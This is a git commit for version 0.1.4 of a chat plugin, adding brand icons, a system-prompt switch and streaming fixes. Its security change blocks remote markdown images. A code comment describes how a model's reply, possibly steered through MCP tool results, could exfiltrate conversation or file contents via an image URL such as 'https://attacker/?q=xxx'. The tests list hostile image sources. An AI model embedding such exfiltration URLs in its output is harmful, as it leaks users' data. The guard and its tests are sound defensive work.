page-chat 0.1.4: model brand icons, data-URI images only (a remote image is a link), gateway port from magpie's settings.json, by Magic_zero (#534)

page-chat 0.1.4, by Magic_zero (Magiczerowxy). This adds:
- model brand icons in the picker and the transcript, from @lobehub/icons (MIT, chat/icons/models/NOTICE);
- inline images, base64 data URIs only. A remote ![](https://…) image is shown as a link the user can click and is never fetched, so a reply can't send data off the machine through an image URL;
- the gateway port read from magpie's settings.json, read-only and 127.0.0.1 only, after an explicit gateway or MAGPIE_ADDR;
- a switch for the system prompt;
- stdio MCP servers run in a workspace folder of their own;
- code fences kept whole while a reply streams.

The suggestion buttons and the 「模型」 label are gone from the empty state. finish() still renders a reply that arrives in one chunk (the fix from #498).

Run at the reviewed head 8ded766, on the Mac mini (Bun 1.4.2, sandbox HOME):
- bun test: 3871 pass, 0 fail, 9 skip. bun scripts/check.mjs: exit 0.
- A Playwright probe ran the real service against a fake gateway that sends the reply in one SSE chunk, and recorded every request leaving 127.0.0.1. The reply carried md, http, protocol-relative and blob images, HTML img, srcset, picture, inline style url(), a <style> block, a link around an image, a reference-style image, a bare URL, KaTeX \includegraphics and \href, and a data:image/svg+xml with script, onload, <image href> and CSS url(); the probe also opened that SVG in the lightbox. No request left the machine and the reply rendered. Run in Chromium on the Mac mini, and in Chromium and WebKit on Linux (magpie-desktop). WebKit didn't launch on the loaded Mac mini.
- Broken by hand: letting https images through safeImgSrc turns "the chat UI never auto-loads a remote image" red, and the probe records the request to attacker.example. finish() back to checking only .md-stable turns "finish() renders a reply that arrived in one chunk" red, and the probe shows an empty body.

Not tried: the real magpie window, and a portable install's data/settings.json.
This commit is contained in:
Magiczerowxy
2026-10-31 10:10:30 +08:00
committed by GitHub
parent 659967c9bc
commit 20a3898bf5
36 changed files with 487 additions and 81 deletions
+3 -2
View File
@@ -18,14 +18,15 @@ It then has a tab, **Chat** (对话, 對話, チャット), under Plugins in the
## What it does
- **magpie's models.** The list comes from the gateway's `/v1/models`. Models with reasoning levels get an effort picker.
- **magpie's models.** The list comes from the gateway's `/v1/models`. Models with reasoning levels get an effort picker. Each model shows its brand icon (OpenAI, Claude, Gemini, DeepSeek, Qwen, Kimi, GLM, MiniMax and more) in the picker and next to its name in the transcript. The icons come from [@lobehub/icons](https://github.com/lobehub/lobe-icons) (MIT); see `chat/icons/models/NOTICE`.
- **magpie's library.** Tick instructions and skills from `~/.config/magpie/library/` (folded into the system prompt), and MCP servers from `library.json` (their tools run as real `tool_calls`, at most 8 rounds, Streamable HTTP and stdio).
- **Images and files.** Pick, drop or paste them. Images go to the model as `image_url`.
- **Images and files.** Pick, drop or paste them. Images go to the model as `image_url`. Replies can carry base64 data-URI images, which render inline and open full size on click. Remote `![alt](https://…)` images are shown as a link instead of being loaded — fetching them automatically would let a reply make the page request an arbitrary URL.
- **Streaming.** Reasoning unfolds while it arrives, then collapses. While the answer streams, the page follows it down unless you scroll up yourself; scroll back to the bottom and it resumes.
- **Model status.** Every reply ends with a line saying what the model is doing: `Magpie正在觅食ing… · 2s` with a running timer while it generates, green `Magpie找到了食物! · 2s` when done, red `Magpie没有找到食物` on failure. The elapsed time is kept with the conversation.
- **Math.** `$…$`, `$$…$$`, `\(…\)` and `\[…\]` render with a bundled KaTeX 0.16.11. No CDN.
- **Conversations kept**, pinned, renamed or deleted, under `~/.config/magpie/magpie-chat/`. Clicking "+" starts a draft row in the sidebar; it becomes a real conversation as soon as you send, and disappears if you switch away without writing anything. The pencil button on each row renames it inline.
- **Layout.** Conversation width and composer width are adjustable in the sidebar; a **Sync** switch keeps the two equal — move either one and the other follows.
- **System prompt switch.** The text you write under 系统提示词 can be turned off without deleting it; ticked instructions and skills still apply.
- **Looks like magpie.** Colors and fonts come from the window's theme.
It registers no provider, asks for no sign-in and stores no credentials of its own. Every request goes out through magpie's gateway, so usage, routing and failover are the same as an agent's.
+57 -1
View File
@@ -4,7 +4,7 @@
// this service's own Host. Everything here runs against a fake gateway on a
// free port, with a temporary config folder; nothing reaches the network.
import { afterAll, beforeAll, expect, test } from "bun:test"
import { mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"
import { existsSync, mkdirSync, mkdtempSync, readFileSync, rmSync, writeFileSync } from "node:fs"
import { request } from "node:http"
import { tmpdir } from "node:os"
import { join } from "node:path"
@@ -305,3 +305,59 @@ test("an empty configDir reads the library from the real config folder", async (
}
})
// ---------- added in 0.1.4 ----------
test("composeSystem drops the user prompt when systemEnabled is false", async () => {
const { composeSystem } = await import("./lib/library.mjs")
const on = await composeSystem({ system: "PROBE_SYSTEM_TEXT_XYZ", systemEnabled: true })
const off = await composeSystem({ system: "PROBE_SYSTEM_TEXT_XYZ", systemEnabled: false })
expect(on).toContain("PROBE_SYSTEM_TEXT_XYZ")
expect(off).not.toContain("PROBE_SYSTEM_TEXT_XYZ")
})
test("stdio MCP servers get a workspace of their own", async () => {
const { workspaceDir } = await import("./lib/mcp.mjs")
const dir = workspaceDir()
expect(dir).toContain("magpie-chat")
expect(dir).toContain("workspace")
expect(existsSync(dir)).toBe(true)
})
test("the gateway candidates include the port from magpie settings.json", async () => {
const { gatewayCandidates } = await import("./lib/gateway.mjs")
writeFileSync(join(cfg, "settings.json"), JSON.stringify({ port: 18086 }))
const list = gatewayCandidates({})
expect(list.some((u) => u.includes(":18086"))).toBe(true)
})
// ---------- review feedback ----------
test("the chat UI never auto-loads a remote image", () => {
const app = readFileSync(join(dir, "chat", "app.js"), "utf8")
const start = app.indexOf("function safeImgSrc")
const end = app.indexOf("function remoteImgLink")
expect(start).toBeGreaterThan(0)
expect(end).toBeGreaterThan(start)
// 把函数抽出来真跑一遍:只扫源码里的字面量,换个写法就能绕过去
const safeImgSrc = new Function(app.slice(start, end) + "\nreturn safeImgSrc")()
const png = "data:image/png;base64,iVBORw0KGgo="
expect(safeImgSrc(png)).toBe(png)
const svg = "data:image/svg+xml;base64,PHN2Zz48L3N2Zz4="
expect(safeImgSrc(svg)).toBe(svg)
for (const bad of [
"https://a.png",
"HTTPS://a.png",
"http://a.png",
"//a.png",
"blob:https://a.png",
"data:text/html;base64,PHNjcmlwdD4=",
]) {
expect(safeImgSrc(bad)).toBe("")
}
})
test("finish() renders a reply that arrived in one chunk", () => {
const app = readFileSync(join(dir, "chat", "app.js"), "utf8")
// 不能只判 .md-stable:整段一次到达时那个结构根本不存在
expect(app).toMatch(/else if \(refs\.body && refs\.msg\.content\) renderMarkdown\(refs\.body, refs\.msg\.content\)/)
})
+189 -28
View File
@@ -153,6 +153,8 @@ var INLINE_SRC = [
"~~([\\s\\S]+?)~~",
"(?<![\\w*])\\*([^*\\n]+)\\*(?![\\w*])",
"(?<![\\w])_([^_\\n]+)_(?![\\w])",
// 图片必须排在链接前面,否则 "![alt](url)" 会先被链接规则吃掉,只留下一个孤零零的 "!"
"!\\[([^\\]\\n]*)\\]\\(([^()\\s]+)\\)",
"\\[([^\\]\\n]+)\\]\\(([^()\\s]+)\\)"
].join("|");
@@ -163,6 +165,32 @@ function safeHref(raw) {
return "";
}
// 图片地址:只放 base64 的 data URI。
//
// 不能放远程 URL:markdown 里的 ![](https://attacker/?q=xxx) 会让页面在渲染回复的
// 那一瞬间就去请求它。模型可以把对话内容、MCP 工具读到的文件内容甚至页面 token
// 拼进这个 URL,用户什么都没点,数据就已经出去了。这个页面还跑着用户的 MCP 工具,
// 工具结果能反过来喂给模型,风险比普通聊天页大得多。
function safeImgSrc(raw) {
var url = String(raw || "").trim();
if (!url) return "";
if (/^data:image\/(png|jpe?g|gif|webp|avif|svg\+xml);base64,/i.test(url)) return url;
return "";
}
// 远程图片不自动加载,只给一个用户主动点的链接
function remoteImgLink(raw, alt) {
const url = safeHref(raw);
if (!url) return null;
return el("a", {
class: "md-img-link",
href: url,
target: "_blank",
rel: "noreferrer noopener",
text: "图片:" + (alt || url) + "(点击打开)",
});
}
function appendText(parent, text) {
var parts = String(text).split("\n");
for (var i = 0; i < parts.length; i++) {
@@ -192,11 +220,34 @@ function inlineInto(parent, text) {
var em = el("em");
inlineInto(em, m[6] !== undefined ? m[6] : m[7]);
parent.appendChild(em);
} else if (m[9] !== undefined) {
var href = safeHref(m[9]);
} else if (m[8] !== undefined) {
// 图片:![alt](url)
var imgSrc = safeImgSrc(m[9]);
if (!imgSrc) {
// 远程图片不自动加载,给一个用户主动点的链接
var imgLink = remoteImgLink(m[9], m[8]);
if (imgLink) parent.appendChild(imgLink);
else appendText(parent, m[0]);
} else {
var img = el("img", { class: "md-img", src: imgSrc, alt: m[8] || "", loading: "lazy" });
(function (src2, alt2) {
img.addEventListener("click", function () { lightbox(src2, alt2); });
img.addEventListener("error", function () {
// 加载不出来就换成一行可点的链接,别在正文里留个破图标
var fail = el("span", { class: "md-img-fail" },
el("span", { text: "图片加载失败:" }),
el("a", { href: safeHref(src2), target: "_blank", rel: "noreferrer noopener", text: src2 })
);
if (img.parentNode) img.parentNode.replaceChild(fail, img);
});
})(imgSrc, m[8] || "");
parent.appendChild(img);
}
} else if (m[10] !== undefined) {
var href = safeHref(m[11]);
if (href) {
var a = el("a", { href: href, target: "_blank", rel: "noreferrer noopener" });
inlineInto(a, m[8]);
inlineInto(a, m[10]);
parent.appendChild(a);
} else {
appendText(parent, m[0]);
@@ -274,11 +325,32 @@ function parseListBlock(lines, start) {
- 尾巴是纯文本,每帧只改 textContent —— 不再每帧清空重建整个 DOM
以前的写法每帧 renderMarkdown 全量重建,文字节点被反复替换、排版反复重算,
看上去就是一直抽搐。 */
// 找最后一个"不在代码围栏里"的空行,用来切稳定段和尾巴。
// 只按最后一个 \n\n 切的话,代码块里一旦有空行,稳定段就会以未闭合的
// \`\`\` 结尾,流式期间那块代码会被当普通段落渲染,到 finish 才跳回代码块。
function lastSafeBreak(text) {
var idx = -1;
var inFence = false;
var lineStart = 0;
for (var i = 0; i <= text.length; i++) {
if (i !== text.length && text[i] !== "\n") continue;
var line = text.slice(lineStart, i);
if (/^\s*(`{3,}|~{3,})/.test(line)) {
inFence = !inFence;
} else if (!inFence && line === "" && i > 0 && i < text.length) {
idx = i + 1; // 切在这个空行之后(含换行)
}
lineStart = i + 1;
}
return idx;
}
function renderStreaming(container, source) {
var text = cleanText(source || "");
var cut = text.lastIndexOf("\n\n");
var stable = cut >= 0 ? text.slice(0, cut + 2) : "";
var tail = cut >= 0 ? text.slice(cut + 2) : text;
var cut = lastSafeBreak(text);
// lastSafeBreak 返回的位置已经包含空行的换行,这里不再 +2(旧代码是按 lastIndexOf 的偏移写的)
var stable = cut >= 0 ? text.slice(0, cut) : "";
var tail = cut >= 0 ? text.slice(cut) : text;
var stableEl = container.firstChild && container.firstChild.classList && container.firstChild.classList.contains("md-stable")
? container.firstChild : null;
@@ -689,6 +761,7 @@ function applySettings(raw) {
model: String(s.model || ""),
effort: String(s.effort || ""),
system: String(s.system || ""),
systemEnabled: s.systemEnabled !== false,
instructions: Array.isArray(s.instructions) ? s.instructions.slice() : [],
skills: Array.isArray(s.skills) ? s.skills.slice() : [],
mcp: Array.isArray(s.mcp) ? s.mcp.slice() : [],
@@ -708,9 +781,20 @@ function applySettings(raw) {
function renderPills() {
var model = currentModel();
$("#modelValue").textContent = state.models.length ? modelLabel(model) : "无可用模型";
// 选了模型并且能在列表里找到,才算"已选";否则按钮显示"选择模型"
var hasModel = Boolean(state.settings.model && model);
var ico = $("#modelIco");
while (ico.firstChild) ico.removeChild(ico.firstChild);
if (hasModel) {
var logo = modelLogo(modelBrandIcon(model.id, model.provider));
if (logo) { ico.appendChild(logo); ico.hidden = false; }
else ico.hidden = true;
} else {
ico.hidden = true;
}
$("#modelValue").textContent = hasModel ? modelLabel(model) : "选择模型";
$("#modelBtn").disabled = !state.models.length;
$("#modelBtn").classList.toggle("on", Boolean(state.settings.model));
$("#modelBtn").classList.toggle("on", hasModel);
var efforts = (model && Array.isArray(model.efforts)) ? model.efforts : [];
$("#effortValue").textContent = state.settings.effort ? effortLabel(state.settings.effort) : "默认";
@@ -737,7 +821,9 @@ function renderModelPop() {
}
state.models.forEach(function (m) {
var cur = m.id === state.settings.model;
// 每个模型左边一个品牌图标(OpenAI / Claude / DeepSeek…)
var item = el("button", { class: "pop-item" + (cur ? " sel" : ""), type: "button", role: "menuitem", title: m.id },
modelLogo(modelBrandIcon(m.id, m.provider)),
el("span", { class: "v", text: modelLabel(m) }),
el("span", { class: "n", text: [m.provider || "", m.reasoning ? "可思考" : ""].filter(Boolean).join(" · ") || m.id }),
cur ? el("span", { class: "check", text: "\u2713" }) : null
@@ -1150,6 +1236,7 @@ function renderSettings() {
$("#maxTokens").value = String(state.settings.maxTokens || 0);
$("#showReasoning").setAttribute("aria-checked", state.settings.showReasoning ? "true" : "false");
$("#syncWidth").setAttribute("aria-checked", state.settings.syncWidth ? "true" : "false");
$("#systemEnabled").setAttribute("aria-checked", state.settings.systemEnabled !== false ? "true" : "false");
renderSetList("#instructionList", state.library.instructions || [], "instructions", function (item) {
return { key: item.id || item.name, name: item.name || item.id, extra: item.size ? item.size + " B" : "" };
});
@@ -1579,23 +1666,29 @@ function renderMessages() {
box.appendChild(emptyState());
return;
}
state.messages.forEach(function (msg) { box.appendChild(buildTurn(msg).root); });
var lastAssistant = null;
state.messages.forEach(function (msg) {
var refs = buildTurn(msg);
box.appendChild(refs.root);
if (msg.role === "assistant") lastAssistant = refs;
});
showLatestForage(lastAssistant);
}
// 只有最新一轮显示"觅食"状态,翻回去看历史时不重复
function showLatestForage(refs) {
var all = document.querySelectorAll("#stream .turn-forage");
for (var i = 0; i < all.length; i++) all[i].hidden = true;
if (!refs || !refs.msg) return;
var m = refs.msg;
if (m.error) paintTurnForage(refs, "fail", "Magpie没有找到食物", null);
else if (m.forageMs || m.ms) paintTurnForage(refs, "done", "Magpie找到了食物!", m.forageMs || m.ms);
}
function emptyState() {
var sugs = ["用一句话说说 magpie chat 能做什么", "帮我写个 PowerShell 批量重命名脚本", "把这段函数拆成三个小函数"];
return el("div", { class: "empty-state" },
el("b", { text: "开始一段对话" }),
el("p", { text: "模型和思考强度在输入框右下角;历史对话在左侧,可以收起。" }),
el("div", { class: "empty-sugs" }, sugs.map(function (text) {
return el("button", { class: "sug", type: "button", text: text, onclick: function () {
var input = $("#input");
input.value = text;
autoGrow();
updateSend();
input.focus();
} });
}))
el("p", { text: "模型和思考强度在输入框右下角;历史对话在左侧,可以收起。" })
);
}
@@ -1616,6 +1709,57 @@ function modelIconFor(msg) {
return hit && hit.icon ? hit.icon : "";
}
/* ---------- 模型品牌图标 ----------
图标取自 @lobehub/icons 的静态 SVG 集合,放在 chat/icons/models/。
模型 id 和供应商名没有统一规范,所以用关键词猜品牌;猜不到就退回
供应商图标(modelIconFor)。图标是单色的,用 mask 上色,跟着主题走。 */
var MODEL_BRANDS = [
// (?:^|[/_-]) 是因为模型 id 常带 group/ 前缀,只写 ^ 会匹配不到 group/o3-mini
[/chatgpt|gpt|(?:^|[/_-])o[1345](?!\d)|openai/i, "openai"],
[/claude|anthropic/i, "claude"],
[/gemini|google|palm|brad/i, "google"],
[/deepseek/i, "deepseek"],
[/qwen|tongyi|qianwen|dashscope/i, "qwen"],
[/kimi|moonshot/i, "kimi"],
[/glm|chatglm|zhipu/i, "zhipu"],
[/minimax|abab/i, "minimax"],
[/mimo|xiaomi/i, "xiaomimimo"],
[/cohere|command-r/i, "cohere"],
[/mistral|mixtral|codestral/i, "mistral"],
[/llama|meta-/i, "meta"],
[/grok/i, "grok"],
[/xai/i, "xai"],
[/copilot|phi-/i, "microsoft"],
[/nvidia|nemotron/i, "nvidia"],
[/ernie|wenxin|baidu/i, "baidu"],
[/doubao|bytedance|seed-/i, "bytedance"],
[/sensenova|sense-nova/i, "sensenova"],
[/^yi-|01-ai/i, "yi"],
[/baichuan/i, "baichuan"],
[/groq/i, "groq"]
];
function modelBrandIcon(idOrMsg, provider) {
var id = typeof idOrMsg === "string" ? idOrMsg : (idOrMsg && idOrMsg.model) || "";
var hay = String(id) + " " + String(provider || "");
for (var i = 0; i < MODEL_BRANDS.length; i++) {
if (MODEL_BRANDS[i][0].test(hay)) return MODEL_BRANDS[i][1];
}
return "";
}
// 品牌图标节点:一个用 mask 上色的 span,颜色跟随当前文字色
function modelLogo(brand) {
if (!brand) return null;
var s = el("span", { class: "model-logo", "aria-hidden": "true" });
var url = 'url("icons/models/' + brand + '.svg")';
try {
s.style.webkitMaskImage = url;
s.style.maskImage = url;
} catch (e) { /* 老浏览器没有 mask 就不显示 */ }
return s;
}
// 一条消息里的附件(图片缩略图 / 文件条)
function mediaBlock(files, opts) {
var list = (files || []).filter(function (f) { return f && f.data; });
@@ -1731,21 +1875,27 @@ function buildTurn(msg, animate) {
thinkBody: think.querySelector(".think-body"), talks: talks, cards: cards,
body: bodyMd, err: err, actions: actions, copy: copy, forage: forage, dirty: false
};
// 老对话(重新打开时):把当时的结果直接画出来
if (msg.error) paintTurnForage(refs, "fail", "Magpie没有找到食物", null);
else if (msg.forageMs || msg.ms) paintTurnForage(refs, "done", "Magpie找到了食物!", msg.forageMs || msg.ms);
// 觅食状态不在 buildTurn 里画:历史上每一轮都挂一条太吵。
// 只在 renderMessages 末尾给最新一轮补上(见 showLatestForage)。
updateMeta(refs);
return refs;
}
// 标签 = 图标 + 模型名;用户轮没有标签
// 图标优先用模型品牌图标(OpenAI / Claude / DeepSeek…),没有就退回供应商图标
function updateLabel(refs) {
var msg = refs.msg;
var label = refs.label;
while (label.firstChild) label.removeChild(label.firstChild);
if (msg.role === "user") return;
var icon = modelIconFor(msg);
if (icon) label.appendChild(el("img", { src: icon, alt: "" }));
var hit = (state.models || []).find(function (m) { return m.id === msg.model; }) || currentModel();
var logo = modelLogo(modelBrandIcon(msg, hit && hit.provider));
if (logo) {
label.appendChild(logo);
} else {
var icon = modelIconFor(msg);
if (icon) label.appendChild(el("img", { src: icon, alt: "" }));
}
var name = turnLabelFor(msg);
if (name) label.appendChild(el("span", { text: name }));
}
@@ -2035,7 +2185,7 @@ function send() {
messages: history,
model: state.settings.model,
effort: state.settings.effort || "",
system: state.settings.system || "",
system: state.settings.systemEnabled === false ? "" : (state.settings.system || ""),
temperature: Number(state.settings.temperature),
maxTokens: Number(state.settings.maxTokens) || 0,
useTools: (state.settings.mcp || []).length > 0,
@@ -2200,6 +2350,11 @@ function forageClearTimers() {
// 开始:在这一轮消息底部显示"正在觅食ing…",每秒走一次计时
function forageBegin(refs) {
forageClearTimers();
// 新一轮开始:把上一轮的提示收掉,只留最新这条
var old = document.querySelectorAll("#stream .turn-forage");
for (var i = 0; i < old.length; i++) {
if (old[i] !== (refs && refs.forage)) old[i].hidden = true;
}
forage.startAt = Date.now();
forage.refs = refs;
paintTurnForage(refs, "busy", "Magpie正在觅食ing…", 0);
@@ -2250,8 +2405,8 @@ function finish(refs) {
refs.think.open = false;
}
if (refs.dirty) { refs.dirty = false; renderMarkdown(refs.body, refs.msg.content); }
// 整段一次到达时,流会在一帧内结束:那次 pumpTick 一次都没跑过,dirty 还是 false,
// 也没有 .md-stable 结构,正文就一直是空的。所以只要 finish 时有内容就渲染一次。
// 整段一次到达时,流在一帧内就结束了:那次 pumpTick 一次都没跑过,dirty 还是 false,
// 也没有 .md-stable 结构 —— 只判 .md-stable 会让正文一直是空的。有内容就渲染一次。
else if (refs.body && refs.msg.content) renderMarkdown(refs.body, refs.msg.content);
state.liveRefs.delete(refs);
updateMeta(refs);
@@ -2413,6 +2568,12 @@ function bindUI() {
patchSettings({ maxTokens: v });
});
$("#systemEnabled").addEventListener("click", function (e) {
var on = e.currentTarget.getAttribute("aria-checked") !== "true";
e.currentTarget.setAttribute("aria-checked", on ? "true" : "false");
patchSettings({ systemEnabled: on });
});
$("#showReasoning").addEventListener("click", function (e) {
var on = e.currentTarget.getAttribute("aria-checked") !== "true";
e.currentTarget.setAttribute("aria-checked", on ? "true" : "false");
+24
View File
@@ -0,0 +1,24 @@
The SVG brand icons in this folder come from @lobehub/icons
(https://github.com/lobehub/lobe-icons), licensed under the MIT License.
MIT License
Copyright (c) 2023 LobeHub
Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal
in the Software without restriction, including without limitation the rights
to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
copies of the Software, and to permit persons to whom the Software is
furnished to do so, subject to the following conditions:
The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
SOFTWARE.
@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Anthropic</title><path d="M13.827 3.52h3.603L24 20h-3.603l-6.57-16.48zm-7.258 0h3.767L16.906 20h-3.674l-1.343-3.461H5.017l-1.344 3.46H0L6.57 3.522zm4.132 9.959L8.453 7.687 6.205 13.48H10.7z"></path></svg>

After

Width:  |  Height:  |  Size: 368 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Baichuan</title><defs><linearGradient id="lobe-icons-baichuan-_R_0_" x1="17.764%" x2="100%" y1="8.678%" y2="91.322%"><stop offset="0%" stop-color="#FEC13E"></stop><stop offset="100%" stop-color="#FF6933"></stop></linearGradient></defs><path d="M7.333 2h-3.2l-2 4.333V17.8L0 22h5.2l2.028-4.2L7.333 2zm7.334 0h-5.2v20h5.2V2zM16.8 7.733H22V22h-5.2V7.733zM22 2h-5.2v4.133H22V2z" fill="url(#lobe-icons-baichuan-_R_0_)" fill-rule="nonzero"></path></svg>

After

Width:  |  Height:  |  Size: 571 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Baidu</title><path d="M8.859 11.735c1.017-1.71 4.059-3.083 6.202.286 1.579 2.284 4.284 4.397 4.284 4.397s2.027 1.601.73 4.684c-1.24 2.956-5.64 1.607-6.005 1.49l-.024-.009s-1.746-.568-3.776-.112c-2.026.458-3.773.286-3.773.286l-.045-.001c-.328-.01-2.38-.187-3.001-2.968-.675-3.028 2.365-4.687 2.592-4.968.226-.288 1.802-1.37 2.816-3.085zm.986 1.738v2.032h-1.64s-1.64.138-2.213 2.014c-.2 1.252.177 1.99.242 2.148.067.157.596 1.073 1.927 1.342h3.078v-7.514l-1.394-.022zm3.588 2.191l-1.44.024v3.956s.064.985 1.44 1.344h3.541v-5.3h-1.528v3.979h-1.46s-.466-.068-.553-.447v-3.556zM9.82 16.715v3.06H8.58s-.863-.045-1.126-1.049c-.136-.445.02-.959.088-1.16.063-.203.353-.671.951-.85H9.82zm9.525-9.036c2.086 0 2.646 2.06 2.646 2.742 0 .688.284 3.597-2.309 3.655-2.595.057-2.704-1.77-2.704-3.08 0-1.374.277-3.317 2.367-3.317zM4.24 6.08c1.523-.135 2.645 1.55 2.762 2.513.07.625.393 3.486-1.975 4-2.364.515-3.244-2.249-2.984-3.544 0 0 .28-2.797 2.197-2.969zm8.847-1.483c.14-1.31 1.69-3.316 2.931-3.028 1.236.285 2.367 1.944 2.137 3.37-.224 1.428-1.345 3.313-3.095 3.082-1.748-.226-2.143-1.823-1.973-3.424zM9.425 1c1.307 0 2.364 1.519 2.364 3.398 0 1.879-1.057 3.4-2.364 3.4s-2.367-1.521-2.367-3.4C7.058 2.518 8.118 1 9.425 1z" fill="#2932E1" fill-rule="nonzero"></path></svg>

After

Width:  |  Height:  |  Size: 1.4 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>ByteDance</title><path d="M14.944 18.587l-1.704-.445V10.01l1.824-.462c1-.254 1.84-.461 1.88-.453.032 0 .056 2.235.056 4.972v4.973l-.176-.008c-.104 0-.952-.207-1.88-.446z" fill="#00C8D2" fill-rule="nonzero"></path><path d="M7 16.542c0-2.736.024-4.98.064-4.98.032-.008.872.2 1.88.454l1.816.461-.016 4.05-.024 4.049-1.632.422c-.896.23-1.736.445-1.856.469L7 21.523v-4.98z" fill="#3C8CFF" fill-rule="nonzero"></path><path d="M19.24 12.477c0-9.03.008-9.515.144-9.475.072.024.784.207 1.576.406.792.207 1.576.405 1.744.445l.296.08-.016 8.56-.024 8.568-1.624.414c-.888.23-1.728.437-1.856.47l-.24.055v-9.523z" fill="#78E6DC" fill-rule="nonzero"></path><path d="M1 12.509c0-4.678.024-8.505.064-8.505.032 0 .872.207 1.872.454l1.824.461v7.582c0 4.16-.016 7.574-.032 7.574-.024 0-.872.215-1.88.47L1 21.013v-8.505z" fill="#325AB4"></path></svg>

After

Width:  |  Height:  |  Size: 953 B

@@ -0,0 +1 @@
<svg fill="currentColor" fill-rule="evenodd" height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Claude</title><path d="M4.709 15.955l4.72-2.647.08-.23-.08-.128H9.2l-.79-.048-2.698-.073-2.339-.097-2.266-.122-.571-.121L0 11.784l.055-.352.48-.321.686.06 1.52.103 2.278.158 1.652.097 2.449.255h.389l.055-.157-.134-.098-.103-.097-2.358-1.596-2.552-1.688-1.336-.972-.724-.491-.364-.462-.158-1.008.656-.722.881.06.225.061.893.686 1.908 1.476 2.491 1.833.365.304.145-.103.019-.073-.164-.274-1.355-2.446-1.446-2.49-.644-1.032-.17-.619a2.97 2.97 0 01-.104-.729L6.283.134 6.696 0l.996.134.42.364.62 1.414 1.002 2.229 1.555 3.03.456.898.243.832.091.255h.158V9.01l.128-1.706.237-2.095.23-2.695.08-.76.376-.91.747-.492.584.28.48.685-.067.444-.286 1.851-.559 2.903-.364 1.942h.212l.243-.242.985-1.306 1.652-2.064.73-.82.85-.904.547-.431h1.033l.76 1.129-.34 1.166-1.064 1.347-.881 1.142-1.264 1.7-.79 1.36.073.11.188-.02 2.856-.606 1.543-.28 1.841-.315.833.388.091.395-.328.807-1.969.486-2.309.462-3.439.813-.042.03.049.061 1.549.146.662.036h1.622l3.02.225.79.522.474.638-.079.485-1.215.62-1.64-.389-3.829-.91-1.312-.329h-.182v.11l1.093 1.068 2.006 1.81 2.509 2.33.127.578-.322.455-.34-.049-2.205-1.657-.851-.747-1.926-1.62h-.128v.17l.444.649 2.345 3.521.122 1.08-.17.353-.608.213-.668-.122-1.374-1.925-1.415-2.167-1.143-1.943-.14.08-.674 7.254-.316.37-.729.28-.607-.461-.322-.747.322-1.476.389-1.924.315-1.53.286-1.9.17-.632-.012-.042-.14.018-1.434 1.967-2.18 2.945-1.726 1.845-.414.164-.717-.37.067-.662.401-.589 2.388-3.036 1.44-1.882.93-1.086-.006-.158h-.055L4.132 18.56l-1.13.146-.487-.456.061-.746.231-.243 1.908-1.312-.006.006z"></path></svg>

After

Width:  |  Height:  |  Size: 1.7 KiB

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>Cohere</title><path clip-rule="evenodd" d="M8.128 14.099c.592 0 1.77-.033 3.398-.703 1.897-.781 5.672-2.2 8.395-3.656 1.905-1.018 2.74-2.366 2.74-4.18A4.56 4.56 0 0018.1 1H7.549A6.55 6.55 0 001 7.55c0 3.617 2.745 6.549 7.128 6.549z" fill="#39594D" fill-rule="evenodd"></path><path clip-rule="evenodd" d="M9.912 18.61a4.387 4.387 0 012.705-4.052l3.323-1.38c3.361-1.394 7.06 1.076 7.06 4.715a5.104 5.104 0 01-5.105 5.104l-3.597-.001a4.386 4.386 0 01-4.386-4.387z" fill="#D18EE2" fill-rule="evenodd"></path><path d="M4.776 14.962A3.775 3.775 0 001 18.738v.489a3.776 3.776 0 007.551 0v-.49a3.775 3.775 0 00-3.775-3.775z" fill="#FF7759"></path></svg>

After

Width:  |  Height:  |  Size: 769 B

@@ -0,0 +1 @@
<svg height="1em" style="flex:none;line-height:1" viewBox="0 0 24 24" width="1em" xmlns="http://www.w3.org/2000/svg"><title>DeepSeek</title><path d="M23.748 4.482c-.254-.124-.364.113-.512.234-.051.039-.094.09-.137.136-.372.397-.806.657-1.373.626-.829-.046-1.537.214-2.163.848-.133-.782-.575-1.248-1.247-1.548-.352-.156-.708-.311-.955-.65-.172-.241-.219-.51-.305-.774-.055-.16-.11-.323-.293-.35-.2-.031-.278.136-.356.276-.313.572-.434 1.202-.422 1.84.027 1.436.633 2.58 1.838 3.393.137.093.172.187.129.323-.082.28-.18.552-.266.833-.055.179-.137.217-.329.14a5.526 5.526 0 01-1.736-1.18c-.857-.828-1.631-1.742-2.597-2.458a11.365 11.365 0 00-.689-.471c-.985-.957.13-1.743.388-1.836.27-.098.093-.432-.779-.428-.872.004-1.67.295-2.687.684a3.055 3.055 0 01-.465.137 9.597 9.597 0 00-2.883-.102c-1.885.21-3.39 1.102-4.497 2.623C.082 8.606-.231 10.684.152 12.85c.403 2.284 1.569 4.175 3.36 5.653 1.858 1.533 3.997 2.284 6.438 2.14 1.482-.085 3.133-.284 4.994-1.86.47.234.962.327 1.78.397.63.059 1.236-.03 